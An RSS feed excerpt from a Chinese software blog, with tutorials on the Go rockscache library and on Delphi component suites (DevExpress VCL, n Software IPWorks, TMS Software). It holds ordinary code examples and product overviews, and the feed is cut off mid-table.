<?xml version="1.0" encoding="utf-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"><channel><title>软角落-SoftNook</title><link>https://www.zelig.cn/</link><description>Good Luck To You!</description><item><title>Golang 高性能缓存新选择：详解 rockscache —— 基于 RocksDB 的本地持久化缓存方案</title><link>https://www.zelig.cn/golang/1462.html</link><description>&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2026/10/20261001205037oxoswzcmdh.svg&quot; alt=&quot;Golang 高性能缓存新选择：详解 rockscache —— 基于 RocksDB 的本地持久化缓存方案&quot;&gt;&lt;/p&gt;&lt;h1 id=&quot;突破内存限制-golang-rockscache-深度解析与实战指南&quot;&gt;突破内存限制：Golang rockscache 深度解析与实战指南&lt;/h1&gt;

&lt;p&gt;在构建高性能分布式系统时，缓存（Cache）是缓解数据库压力、降低响应延迟的核心手段。传统的缓存方案通常分为两类：一种是以 Redis 为代表的&lt;strong&gt;远程缓存&lt;/strong&gt;，虽然支持集群和共享，但受限于网络 IO；另一种是以 &lt;code&gt;sync.Map&lt;/code&gt; 或 &lt;code&gt;freecache&lt;/code&gt; 为代表的&lt;strong&gt;本地内存缓存&lt;/strong&gt;，速度极快，但面临内存容量限制且在进程重启后数据全部丢失。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;rockscache&lt;/code&gt; 的出现，为 Golang 开发者提供了一种“第三条路径”：&lt;strong&gt;基于 RocksDB 的本地持久化缓存&lt;/strong&gt;。它既拥有接近内存的访问速度，又具备磁盘级的存储容量，且支持数据持久化。&lt;/p&gt;

&lt;h2 id=&quot;什么是-rockscache&quot;&gt;什么是 rockscache？&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;rockscache&lt;/code&gt; 是由 &lt;code&gt;dtm-labs&lt;/code&gt; 开发的一个 Golang 库，其核心思想是将 Facebook 开源的 &lt;strong&gt;RocksDB&lt;/strong&gt;（一个高性能的嵌入式键值存储）封装为简单的缓存接口。&lt;/p&gt;

&lt;p&gt;简单来说，&lt;code&gt;rockscache&lt;/code&gt; 将 RocksDB 作为底层存储引擎，在 Golang 层提供了易用的 API。这意味着你的缓存不再仅仅局限于 RAM，而是可以利用 SSD 的高速读写能力，存储 GB 甚至 TB 级别的数据，而无需部署复杂的 Redis 集群。&lt;/p&gt;

&lt;h3 id=&quot;核心特性&quot;&gt;核心特性&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;持久化存储&lt;/strong&gt;：数据存储在本地磁盘，服务重启后无需重新预热（Warm-up），直接加载。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;海量容量&lt;/strong&gt;：突破内存限制，只要磁盘空间足够，即可存储海量缓存数据。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;高性能读写&lt;/strong&gt;：得益于 RocksDB 的 LSM-Tree 架构，写入速度极快，读取通过内存索引加速。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;简单接口&lt;/strong&gt;：提供了类似 &lt;code&gt;Get&lt;/code&gt;、&lt;code&gt;Set&lt;/code&gt;、&lt;code&gt;Delete&lt;/code&gt; 的标准缓存操作，降低了直接操作 RocksDB 的复杂度。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;低 GC 压力&lt;/strong&gt;：由于大量数据存储在 C++ 层的 RocksDB 中，而非 Go 的堆内存中，极大地减轻了 Go GC（垃圾回收）的扫描压力，有效避免了在大内存场景下的 STW（Stop The World）问题。&lt;/li&gt;
&lt;/ol&gt;

&lt;hr&gt;

&lt;h2 id=&quot;为什么选择-rockscache-而不是-redis-或-map&quot;&gt;为什么选择 rockscache 而不是 Redis 或 Map？&lt;/h2&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;left&quot;&gt;维度&lt;/th&gt;
&lt;th align=&quot;left&quot;&gt;&lt;code&gt;sync.Map&lt;/code&gt; / &lt;code&gt;freecache&lt;/code&gt;&lt;/th&gt;
&lt;th align=&quot;left&quot;&gt;Redis&lt;/th&gt;
&lt;th align=&quot;left&quot;&gt;&lt;code&gt;rockscache&lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;strong&gt;存储位置&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;内存 (RAM)&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;远程内存 (RAM)&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;本地磁盘 (SSD) + 内存缓存&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;strong&gt;持久化&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;❌ 不支持&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;✅ 支持 (RDB/AOF)&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;✅ 原生支持&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;strong&gt;容量限制&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;受限于物理内存&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;受限于集群内存&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;受限于磁盘空间&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;strong&gt;访问延迟&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;极低 (纳秒级)&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;低 (毫秒级，含网络)&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;低 (微秒/毫秒级)&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;strong&gt;部署复杂度&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;极低 (库引入)&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;中 (需部署服务)&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;低 (库引入 + 本地路径)&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;strong&gt;GC 影响&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;高 (数据量大时)&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;无&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;极低&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;hr&gt;

&lt;h2 id=&quot;快速上手实例&quot;&gt;快速上手实例&lt;/h2&gt;

&lt;p&gt;要使用 &lt;code&gt;rockscache&lt;/code&gt;，首先需要确保你的系统安装了 RocksDB 的开发库（因为它是通过 CGO 调用 C++ 库）。&lt;/p&gt;

&lt;h3 id=&quot;1-安装依赖-以-ubuntu-为例&quot;&gt;1. 安装依赖 (以 Ubuntu 为例)&lt;/h3&gt;
&lt;div class=&quot;prism-show-language&quot;&gt;&lt;div class=&quot;prism-show-language-label&quot; data-language=&quot;text&quot;&gt;text&lt;/div&gt;&lt;/div&gt;&lt;pre class=&quot;prism-highlight prism- language-text prism-line-numbers&quot; data-language=&quot;text&quot;&gt;sudo apt-get install librocksdb-dev
&lt;/pre&gt;
&lt;h3 id=&quot;2-基础代码实现&quot;&gt;2. 基础代码实现&lt;/h3&gt;

&lt;p&gt;以下是一个完整的示例，展示了如何初始化 &lt;code&gt;rockscache&lt;/code&gt; 并进行基础的 CRUD 操作。&lt;/p&gt;
&lt;div class=&quot;prism-show-language&quot;&gt;&lt;div class=&quot;prism-show-language-label&quot; data-language=&quot;text&quot;&gt;text&lt;/div&gt;&lt;/div&gt;&lt;pre class=&quot;prism-highlight prism- language-text prism-line-numbers&quot; data-language=&quot;text&quot;&gt;package main

import (
	&amp;#34;fmt&amp;#34;
	&amp;#34;log&amp;#34;

	&amp;#34;github.com/dtm-labs/rockscache&amp;#34;
)

func main() {
	// 1. 初始化 rockscache
	// 参数为存储数据的本地目录路径
	cache, err := rockscache.New(&amp;#34;./cache_data&amp;#34;)
	if err != nil {
		log.Fatalf(&amp;#34;Failed to open cache: %v&amp;#34;, err)
	}
	// 记得在程序退出前关闭缓存，确保数据刷盘
	defer cache.Close()

	// 2. 写入数据 (Set)
	key := &amp;#34;user:12345&amp;#34;
	value := &amp;#34;{\&amp;#34;name\&amp;#34;: \&amp;#34;Alice\&amp;#34;, \&amp;#34;age\&amp;#34;: 25}&amp;#34;
	err = cache.Set([]byte(key), []byte(value))
	if err != nil {
		log.Printf(&amp;#34;Set error: %v&amp;#34;, err)
	}
	fmt.Println(&amp;#34;Successfully set key:&amp;#34;, key)

	// 3. 读取数据 (Get)
	val, err := cache.Get([]byte(key))
	if err != nil {
		log.Printf(&amp;#34;Get error: %v&amp;#34;, err)
	} else {
		fmt.Printf(&amp;#34;Get value: %s\n&amp;#34;, string(val))
	}

	// 4. 删除数据 (Delete)
	err = cache.Delete([]byte(key))
	if err != nil {
		log.Printf(&amp;#34;Delete error: %v&amp;#34;, err)
	}
	fmt.Println(&amp;#34;Successfully deleted key:&amp;#34;, key)

	// 5. 验证删除
	val, err = cache.Get([]byte(key))
	if err != nil {
		fmt.Println(&amp;#34;Key not found as expected.&amp;#34;)
	}
}
&lt;/pre&gt;
&lt;hr&gt;

&lt;h2 id=&quot;进阶应用场景&quot;&gt;进阶应用场景&lt;/h2&gt;

&lt;h3 id=&quot;场景一-超大规模配置中心&quot;&gt;场景一：超大规模配置中心&lt;/h3&gt;

&lt;p&gt;如果你的系统有数百万个配置项，且这些配置项不经常变动，但必须在启动时立即可用。使用 &lt;code&gt;rockscache&lt;/code&gt; 可以将配置持久化在本地，避免启动时从远程配置中心（如 Apollo 或 Nacos）一次性拉取海量数据导致的网络拥塞。&lt;/p&gt;

&lt;h3 id=&quot;场景二-本地索引缓存&quot;&gt;场景二：本地索引缓存&lt;/h3&gt;

&lt;p&gt;在处理大数据量分析时，可以将计算&lt;/p&gt;
</description><pubDate>Tue, 03 Nov 2026 20:52:58 +0800</pubDate></item><item><title>DevExpress VCL Controls 26.1.5 是面向 Delphi / C++Builder 的企业级 UI 控件库-支持13.2</title><link>https://www.zelig.cn/delphi-component/1461.html</link><description>&lt;p&gt;&lt;img class=&quot;ue-image&quot; src=&quot;/zb_users/upload/2026/11/20261103135859vcosebimyu.png&quot;/&gt;DevExpress VCL Controls 26.1.5 是面向 Delphi / C++Builder 的企业级 UI 控件库。它最直接的价值是：&lt;strong&gt;不用自己画表格、写皮肤、做导出，拖控件配属性就能让桌面程序看起来专业、操作流畅&lt;/strong&gt;。&lt;/p&gt;&lt;h3&gt;核心控件速览&lt;/h3&gt;&lt;p&gt;装好后工具箱会多出大量控件，入门先关注这几个：&lt;/p&gt;&lt;table&gt;&lt;thead&gt;&lt;tr class=&quot;firstRow&quot;&gt;&lt;th&gt;控件&lt;/th&gt;&lt;th&gt;用途&lt;/th&gt;&lt;th&gt;一句话理解&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;TcxGrid&lt;/code&gt;&lt;/td&gt;&lt;td&gt;数据表格&lt;/td&gt;&lt;td&gt;替代原生 &lt;code&gt;TDBGrid&lt;/code&gt;，自带分组、筛选、汇总、冻结列&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;TdxSkinController&lt;/code&gt;&lt;/td&gt;&lt;td&gt;换肤&lt;/td&gt;&lt;td&gt;一行代码让整个程序变成 Office / VS 风格&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;TcxChart&lt;/code&gt;&lt;/td&gt;&lt;td&gt;图表&lt;/td&gt;&lt;td&gt;柱状图、折线图、饼图，绑定数据源即显示&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;TdxRibbon&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Office 风格菜单&lt;/td&gt;&lt;td&gt;做 Ribbon 界面不用自己拼按钮&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h3&gt;实例一：三行代码换肤&lt;/h3&gt;&lt;p&gt;在窗体上放一个 &lt;code&gt;TdxSkinController&lt;/code&gt;，然后在 &lt;code&gt;FormCreate&lt;/code&gt; 里写：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-pascal&quot;&gt;procedure&amp;nbsp;TForm1.FormCreate(Sender:&amp;nbsp;TObject);
begin
&amp;nbsp;&amp;nbsp;dxSkinController1.SkinName&amp;nbsp;:=&amp;nbsp;&amp;#39;Office2019Colorful&amp;#39;;
&amp;nbsp;&amp;nbsp;dxSkinController1.NativeStyle&amp;nbsp;:=&amp;nbsp;False;
end;&lt;/pre&gt;&lt;p&gt;运行后所有 DevExpress 控件（包括 Grid、Button、Editors）自动变成 Office 2019 彩色风格，你不需要逐个改颜色或字体。内置矢量皮肤有 &lt;code&gt;Office2019Colorful&lt;/code&gt;、&lt;code&gt;Office2019DarkGray&lt;/code&gt;、&lt;code&gt;TheBezier&lt;/code&gt;、&lt;code&gt;WXI&lt;/code&gt; 等，高分屏下矢量皮肤不会模糊。&lt;/p&gt;&lt;h3&gt;实例二：数据网格绑定数据源&lt;/h3&gt;&lt;p&gt;假设窗体上已有 &lt;code&gt;TcxGrid&lt;/code&gt;（命名为 &lt;code&gt;cxGrid1&lt;/code&gt;）和一个 &lt;code&gt;TDataSource&lt;/code&gt;（连接到 &lt;code&gt;TClientDataSet&lt;/code&gt; 或 &lt;code&gt;TFDQuery&lt;/code&gt;）。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;设计时三步：&lt;/strong&gt;&lt;/p&gt;&lt;ol class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;双击 &lt;code&gt;cxGrid1&lt;/code&gt;，在弹出的编辑器里添加一个 &lt;code&gt;TcxGridDBTableView&lt;/code&gt;。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;把 &lt;code&gt;cxGrid1DBTableView1.DataController.DataSource&lt;/code&gt; 设为 &lt;code&gt;DataSource1&lt;/code&gt;。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;右键 TableView → “Retrieve Fields”，字段自动生成列。&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;strong&gt;运行效果：&lt;/strong&gt; 表格立刻显示数据，列头点击即排序，拖列头到上方即分组，右键菜单自带筛选器。&lt;/p&gt;&lt;p&gt;如果你不想在设计时操作，代码也很短：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-pascal&quot;&gt;procedure&amp;nbsp;TForm1.FormCreate(Sender:&amp;nbsp;TObject);
begin
&amp;nbsp;&amp;nbsp;cxGrid1DBTableView1.DataController.DataSource&amp;nbsp;:=&amp;nbsp;DataSource1;
&amp;nbsp;&amp;nbsp;cxGrid1DBTableView1.DataController.CreateAllItems;
end;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;CreateAllItems&lt;/code&gt; 会根据数据源字段自动生成所有列。&lt;/p&gt;&lt;h3&gt;实例三：图表绑定同一数据源&lt;/h3&gt;&lt;p&gt;放一个 &lt;code&gt;TcxChart&lt;/code&gt;（&lt;code&gt;Chart1&lt;/code&gt;），同样绑定 &lt;code&gt;DataSource1&lt;/code&gt;：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-pascal&quot;&gt;procedure&amp;nbsp;TForm1.FormCreate(Sender:&amp;nbsp;TObject);
var
&amp;nbsp;&amp;nbsp;Series:&amp;nbsp;TcxChartSeries;
begin
&amp;nbsp;&amp;nbsp;Series&amp;nbsp;:=&amp;nbsp;Chart1.Series.Add;
&amp;nbsp;&amp;nbsp;Series.ViewType&amp;nbsp;:=&amp;nbsp;ctBar;
&amp;nbsp;&amp;nbsp;Series.DataController.DataSource&amp;nbsp;:=&amp;nbsp;DataSource1;
&amp;nbsp;&amp;nbsp;Series.DataController.ArgumentDataMember&amp;nbsp;:=&amp;nbsp;&amp;#39;Month&amp;#39;;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;X轴：月份
&amp;nbsp;&amp;nbsp;Series.DataController.ValueDataMember&amp;nbsp;:=&amp;nbsp;&amp;#39;Sales&amp;#39;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;Y轴：销售额
&amp;nbsp;&amp;nbsp;Series.DisplayName&amp;nbsp;:=&amp;nbsp;&amp;#39;销售额&amp;#39;;
end;&lt;/pre&gt;&lt;p&gt;运行后柱状图直接显示 &lt;code&gt;Month&lt;/code&gt; 和 &lt;code&gt;Sales&lt;/code&gt; 两列的数据。把 &lt;code&gt;ctBar&lt;/code&gt; 改成 &lt;code&gt;ctLine&lt;/code&gt; 就变成折线图，改成 &lt;code&gt;ctPie&lt;/code&gt; 就变成饼图。&lt;/p&gt;&lt;h3&gt;版本要点（26.1.5 在 26.1.x 线上）&lt;/h3&gt;&lt;p&gt;26.1.x 相比旧版有两个对日常开发影响较大的变化：&lt;/p&gt;&lt;p&gt;&lt;strong&gt;设计时加载更快。&lt;/strong&gt; 旧版打开含 50 个 DevExpress 控件的窗体可能要 8 秒以上，26.1.x 重构了元数据加载方式，同样窗体打开时间降到 2 秒以内，IDE 不再明显卡顿。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;数据绑定改为延迟解析。&lt;/strong&gt; &lt;code&gt;TcxGrid&lt;/code&gt; 绑定数据集时，不再在窗体创建时遍历所有字段生成列，而是滚动到哪行才解析哪行。对于字段多、数据量大的表，内存占用明显降低。&lt;/p&gt;&lt;h3&gt;入门建议&lt;/h3&gt;&lt;p&gt;先别贪多。拿一个已有的小项目，&lt;strong&gt;只把 &lt;code&gt;TDBGrid&lt;/code&gt; 换成 &lt;code&gt;TcxGrid&lt;/code&gt;&lt;/strong&gt;，感受一下分组、筛选、汇总是不是真的开箱即用。确认顺手之后，再加 &lt;code&gt;TdxSkinController&lt;/code&gt; 统一外观。DevExpress 官方 GitHub 仓库里有大量可运行的 Demo 工程（&lt;code&gt;demos-vcl&lt;/code&gt;），克隆下来直接打开跑一遍，比看文档快得多。&lt;/p&gt;</description><pubDate>Tue, 03 Nov 2026 13:56:14 +0800</pubDate></item><item><title>Delphi-n Software VCL组件包 支持最新13.2</title><link>https://www.zelig.cn/delphi-component/1460.html</link><description>&lt;p&gt;&lt;img class=&quot;ue-image&quot; src=&quot;/zb_users/upload/2026/11/20261103134951dmxxthgjkj.jpg&quot;/&gt;&amp;nbsp;&lt;/p&gt;&lt;h2&gt;n Software VCL&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Software 是一家成立于 1995 年的老牌组件开发商，专注于通信、安全与电子商务领域的跨平台开发组件。其 VCL 产品线是专为 Embarcadero Delphi 和 C++ Builder 打造的原生组件库，采用原生代码编写与编译，直接嵌入 IDE 工具面板，开发者可通过拖拽方式快速构建网络与安全功能。&lt;/p&gt;&lt;p&gt;核心产品线以 &lt;strong&gt;IPWorks&lt;/strong&gt; 为主干，涵盖数十种功能模块：安全通信（SSL/TLS、SSH、SFTP）、消息队列、加密（AES、RSA、OpenPGP）、云服务集成（S3、Google Drive、Dropbox）、身份认证（OAuth、LDAP、Kerberos）、压缩（Zip）以及 VoIP/SIP 等。所有组件均支持 x86 与 x64 平台，兼容从 C++ Builder 2009 到 RAD Studio 13 的广泛版本范围。&lt;/p&gt;&lt;hr/&gt;&lt;h2&gt;实例：使用 IPWorks Zip 压缩文件（Delphi VCL）&lt;/h2&gt;&lt;p&gt;以下示例展示如何在 Delphi 中通过 &lt;code&gt;TIPZip&lt;/code&gt; 组件将一个文件夹打包为 ZIP 文件。该组件为原生 VCL 控件，无需外部 DLL 依赖。&lt;/p&gt;&lt;pre&gt;uses
&amp;nbsp;&amp;nbsp;IPWorksZip_TLB;&amp;nbsp;&amp;nbsp;//&amp;nbsp;根据实际安装的单元名称调整

procedure&amp;nbsp;TForm1.btnCompressClick(Sender:&amp;nbsp;TObject);
var
&amp;nbsp;&amp;nbsp;Zip:&amp;nbsp;TIPZip;
begin
&amp;nbsp;&amp;nbsp;Zip&amp;nbsp;:=&amp;nbsp;TIPZip.Create(nil);
&amp;nbsp;&amp;nbsp;try
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;设置目标归档路径
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Zip.ArchiveFile&amp;nbsp;:=&amp;nbsp;&amp;#39;C:\Backup\project_backup.zip&amp;#39;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;添加要压缩的文件夹（含子目录）
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Zip.IncludeFiles(&amp;#39;C:\Projects\MyApp\*.*&amp;#39;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Zip.RecurseSubdirectories&amp;nbsp;:=&amp;nbsp;True;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;可选：设置压缩级别（0-9，9&amp;nbsp;为最高压缩率）
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Zip.CompressionLevel&amp;nbsp;:=&amp;nbsp;9;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;执行压缩
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Zip.Compress();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ShowMessage(&amp;#39;压缩完成：&amp;#39;&amp;nbsp;+&amp;nbsp;Zip.ArchiveFile);
&amp;nbsp;&amp;nbsp;finally
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Zip.Free;
&amp;nbsp;&amp;nbsp;end;
end;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;关键点说明&lt;/strong&gt;：&lt;code&gt;IncludeFiles&lt;/code&gt; 支持通配符批量添加文件，&lt;code&gt;RecurseSubdirectories&lt;/code&gt; 控制是否递归子目录。IPWorks Zip 还支持 AES 加密归档、分卷压缩以及流式内存操作，适用于备份工具或文件管理器的快速集成。&lt;/p&gt;&lt;p&gt;对于需要 SSH 安全传输的场景，可替换为 &lt;code&gt;TIPSSH&lt;/code&gt; 或 &lt;code&gt;TIPSFTP&lt;/code&gt; 组件，API 风格保持一致，降低学习成本。&lt;/p&gt;</description><pubDate>Tue, 03 Nov 2026 13:48:04 +0800</pubDate></item><item><title>Delphi-TMS Software 2026年11月-组件库全家桶带安装工具 </title><link>https://www.zelig.cn/delphi-component/1459.html</link><description>&lt;p&gt;&lt;img class=&quot;ue-image&quot; src=&quot;/zb_users/upload/2025/07/20250701162118uaetlccatx.png&quot;/&gt;&lt;/p&gt;&lt;h3&gt;核心开发框架与数据&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;TMS BIZ Core Library&lt;/strong&gt; 是整个 TMS BIZ 产品套件的基础库。它本身不直接面向最终用户，而是为 Aurelius、XData、Sparkle 等上层产品提供 JSON 处理、通用类型、日志抽象、国际化以及代码生成等底层支撑。理解这一点，就能明白为什么 Aurelius 和 XData 的版本号总是同步的。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;TMS Aurelius&lt;/strong&gt; 是 Delphi 生态中成熟的 ORM（对象关系映射）框架，让开发者用对象的方式操作数据库，而不必手写大量 SQL。&lt;strong&gt;TMS XData&lt;/strong&gt; 则建立在 Aurelius 之上，用于快速构建 REST/JSON 服务端。两者版本同为 5.31.0.0，说明它们是配套发布的。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;TMS Echo&lt;/strong&gt; 解决的是数据复制与同步场景，比如离线应用与中心数据库之间的双向同步。1.13.0.0 版本增加了对 WinArm64EC 平台的支持，并修复了 Unicode 字段的存储问题。&lt;/p&gt;&lt;h3&gt;AI 与通信&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;TMS AI Studio&lt;/strong&gt; 是清单中较新的产品，目标是让 Delphi 应用接入大语言模型。2.0 版本的重点包括：支持 OpenRouter.ai 作为云端 LLM 网关（一个属性切换即可访问 OpenAI、Claude、Gemini、DeepSeek 等多种模型），以及在 MCP 客户端中内置 OAuth 登录流程，开发者无需自己编写登录窗口和令牌管理逻辑。简单说，它让 Delphi 程序“说上”了 AI 的语言。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;TMS Async&lt;/strong&gt; 是一个串口通信库，提供事件驱动的异步访问方式，直接链接进 EXE 而不依赖运行时库。它适用于需要与硬件设备（如工业仪器、串口外设）通信的 Windows 应用。&lt;/p&gt;&lt;h3&gt;安全与图形&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;TMS Cryptography Pack&lt;/strong&gt; 提供了相当完整的密码学算法集合，包括 AES、RSA、ECDSA、SHA-2/3、Argon2、XAdES/CAdES/PAdES 等。它还包含 &lt;code&gt;TEncryptedIniFile&lt;/code&gt; 这样的实用类，用于把应用配置以加密形式存入 INI 文件。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;TMS Diagram Studio&lt;/strong&gt; 用于在应用中嵌入流程图、状态图等图表编辑功能。它的历史相当久，从 2004 年的 1.8 版本就开始迭代，支持图层、渐变背景、节点展开/折叠等特性。&lt;/p&gt;&lt;h3&gt;其他值得注意的&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;TMS Analytics&lt;/strong&gt; 是一个数学表达式解析与计算库，可以求值、化简包含实数和复数的公式。3.7.1.0 版本主要是增加了对 Delphi 13 的支持。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;TMS FNC 系列&lt;/strong&gt;（FNC Core、FNC UI Pack、FNC Chart 等）是一套跨框架的 UI 与功能组件，同一套代码可以运行在 VCL、FMX、LCL 甚至 Web 环境中。FNC Core 是所有 FNC 产品的基础依赖。&lt;/p&gt;&lt;p&gt;如果你对其中某个具体产品想了解更多（比如实际用法、是否适合你的项目），可以告诉我。&lt;/p&gt;&lt;table&gt;&lt;thead&gt;&lt;tr class=&quot;firstRow&quot;&gt;&lt;th style=&quot;word-break: break-all;&quot;&gt;文件名&lt;/th&gt;&lt;th&gt;版本&lt;/th&gt;&lt;th&gt;描述&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;TMS AI Studio&lt;/td&gt;&lt;td&gt;2.0.2.0&lt;/td&gt;&lt;td&gt;AI 开发工具套件&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS Analytics&lt;/td&gt;&lt;td&gt;3.7.1.0&lt;/td&gt;&lt;td&gt;数据分析组件库&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS Async&lt;/td&gt;&lt;td&gt;2.4.7.2&lt;/td&gt;&lt;td&gt;异步编程支持库&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS Aurelius&lt;/td&gt;&lt;td&gt;5.31.0.0&lt;/td&gt;&lt;td&gt;ORM（对象关系映射）框架&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS Biz Core Library&lt;/td&gt;&lt;td&gt;2.6.0.0&lt;/td&gt;&lt;td&gt;业务核心库&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS Cryptography Pack&lt;/td&gt;&lt;td&gt;5.3.5.0&lt;/td&gt;&lt;td&gt;加密算法组件包&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS Diagram Studio&lt;/td&gt;&lt;td&gt;4.33.0.0&lt;/td&gt;&lt;td&gt;图表/流程图设计组件&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS Echo&lt;/td&gt;&lt;td&gt;1.13.0.0&lt;/td&gt;&lt;td&gt;数据复制与同步组件&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS FMX Cloud Pack&lt;/td&gt;&lt;td&gt;3.7.4.0&lt;/td&gt;&lt;td&gt;FireMonkey 云服务组件包&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS FMX UI Pack&lt;/td&gt;&lt;td&gt;3.7.9.0&lt;/td&gt;&lt;td&gt;FireMonkey UI 控件包&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS FNC AppTools&lt;/td&gt;&lt;td&gt;1.0.6.3&lt;/td&gt;&lt;td&gt;FNC 应用工具组件&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS FNC Blox&lt;/td&gt;&lt;td&gt;3.0.7.1&lt;/td&gt;&lt;td&gt;FNC 流程图/图形组件&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS FNC Chart&lt;/td&gt;&lt;td&gt;4.0.0.5&lt;/td&gt;&lt;td&gt;FNC 图表组件&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS FNC Cloud Pack&lt;/td&gt;&lt;td&gt;3.9.0.0&lt;/td&gt;&lt;td&gt;FNC 